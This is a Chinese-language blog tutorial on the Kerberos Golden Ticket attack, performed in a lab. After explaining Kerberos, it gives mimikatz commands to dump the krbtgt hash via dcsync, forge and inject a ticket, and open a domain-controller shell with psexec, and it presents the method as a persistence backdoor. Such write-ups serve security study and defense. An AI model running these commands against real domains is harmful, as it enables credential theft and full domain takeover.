域滲透之(黃金票據利用)

前言:

這裏先介紹下Kerberos協議:
Kerberos是一種由MIT(麻省理工大學)提出的一種網絡身份驗證協議。它旨在通過使用密鑰加密技術爲客戶端/服務器應用程序提供強身份驗證。
Kerberos協議中主要是有三個角色的存在:
1:訪問服務的Client(用戶的機器客戶端)
2:提供服務的Server(服務端)
3:KDC(Key Distribution Center)密鑰分發中心其中KDC服務默認會安裝在一個域的域控中,而Client和Server爲域內的用戶或者是服務,如HTTP服務,SQL服務,遠程桌面服務。在KerberosClient是否有權限訪問Server端的服務由KDC發放的票據來決定。

Kerboeros工作原理

如下圖所示:
在這裏插入圖片描述

1:ClientKDC發起AS_REQ請求內容爲通過Client密碼Hash 加密的時間戳、ClientID、網絡地址、加密類型等內容。

2:KDC使用Client hash進行解密,並在ntds.dit(只有域控中才有的數據庫)中查找該賬戶,如果結果正確就返回用krbtgt NTLM-hash加密的TGT票據,TGT裏面包含PACPAC包含ClientsidClient所在的組。

註釋:PAC的全稱是Privilege Attribute Certificate(特權屬性證書)。不同的賬號有不同的權限,PAC就是爲了區別不同權限的一種方式。

3:Client(客戶端)憑藉TGT票據向KDC發起針對特定服務的TGS_REQ請求。

4:KDC使用krbtgt NTLM-hash進行解密,如果結果正確,就返回用服務NTLM-hash 加密的TGS票據,並帶上PAC返回給Client(客戶端)(這一步不管用戶有沒有訪問服務的權限,只要TGT正確,就返回TGS票據)。

TGT:認證票據
TGS:票據發放服務

5:此時client拿着KDC給的TGS票據去請求服務。
6:服務端使用自己的NTLM-hash解密TGS票據。如果解密正確,就拿着PACKDC那邊問Client有沒有訪問權限,域控解密PAC。獲取Clientsid,以及所在的組,再根據該服務的ACL,判斷Client是否有訪問服務的權限。
至此,就是登錄域控中Kerberos協議的工作流程,看起來可能點繞,根據我上面的貼圖,一步步的看還是比較好理解的。

實驗步驟

主域控:windows server 2008 IP地址:192.168.107.146
域內機器(Client):windows server 2008 IP地址:192.168.107.164

通過上面工作原理得知,我們這裏只要僞造第三步,也就是TGT票據即可。
首先我們 需要先從域控中,或者是域內其他Client中導出krbtgt用戶的hash,這裏需要注意的是,krbtgt用戶只有在域控中才會存在。
當然瞭如果你有域控管理員的其他賬號,也是可以登錄其他域其他機器來使用mimikatz.exe導出hash的。
在這裏插入圖片描述
第一步::在域控內導出krbtgt用戶的hashsid(使用mimikatz.exe工具):

lsadump::dcsync /domain:hydra.com /user:krbtgt    domian:後面是域控名  user後面是krbtgt用戶

在這裏插入圖片描述
2:在域內其他Client(用戶機器)上使用其他域管理員來抓取krbtgt用戶的hashsid(使用mimikatz.exe工具),這裏命令和上面的命令是一樣的,最後抓取的hash也是和上面一樣的,這裏我就不貼圖了。
在這裏插入圖片描述
第二步:.清除自己Client端(域內其他機器)的票據。
我們在域控上面成功抓取了hash和sid,將hash和sid複製到其他域內機器中,也就是Client端,然後在mimikatz.exe執行kerberos::list查看我們當前的票據。
在這裏插入圖片描述
然後在mimikatz.exe執行:kerberos::purge 意思就是清空當前用戶登錄的票據,通過下面的圖片看到清空了以後,在執行list的時候,就沒有任何的票據了。
在這裏插入圖片描述
第三步:僞造TGT票據(黃金票據)

kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt

kerberos::golden的意思是使用票據功能,/admin 後面的用戶是我們可以僞造的任意用戶,我這裏用ceshi,/sid後面輸入的就是我們之前抓到的sid,/krbtgt後面是之前抓到的hash, /ptt是立即執行到內存的意思。ps:一共有5個空格,這裏需要注意下。
構造好了語句後,在Client端上執行,提示Successfully表示已經成功了。
在這裏插入圖片描述
第四步:通過kerberos::list查看當前票據,僞造成功(也可以通過cmd中klist查看,這裏需要注意的是cmd需要用管理員的方式運行)
在這裏插入圖片描述在這裏插入圖片描述
到了這一步以後,說明我們已經成功在Client端僞造了黃金票據(在僞造的時候可以是任意用戶名,我這裏是ceshi)。

第五步:在Client端通過Psexec.exe工具來與主域控進行連接(對於psexec.exe工具的使用這裏不多做介紹)
連接成功了以後,是直接返回一個cmd的交互式界面,並且是最高權限。
在這裏插入圖片描述
此時,我們就可以在當前Client端(域內機器中)來執行主域控下cmd操作,並且權限是最高的。

總結

第一步:在域控中,或者是域內機器中(域管理員用戶權限登錄),因爲是需要抓取hash和sid的,所以必須要是管理員權限,命令如下:

lsadump::dcsync /domain:hydra.com /user:krbtgt

第二步:清除自己client端(域內其他機器)的票據:

kerberos::purge

第三步:查看票據(client端):(此時票據信息肯定是空的)

kerberos::list

第四步:僞造黃金票據(client端),這裏的參數文章上面都介紹過了,這裏不多介紹。

kerberos::golden /admin:ceshi /domain:hydra.com  /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt 

第五步:嘗試使用psexec登錄域控的cmd控制檯(client端):

psexec.exe \\dc.hydra.com cmd.exe

與其說是一種攻擊方式,不如說是一種後門,當域控權限掉後,在通過域內其他任意機器僞造票據重新獲取最高權限。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章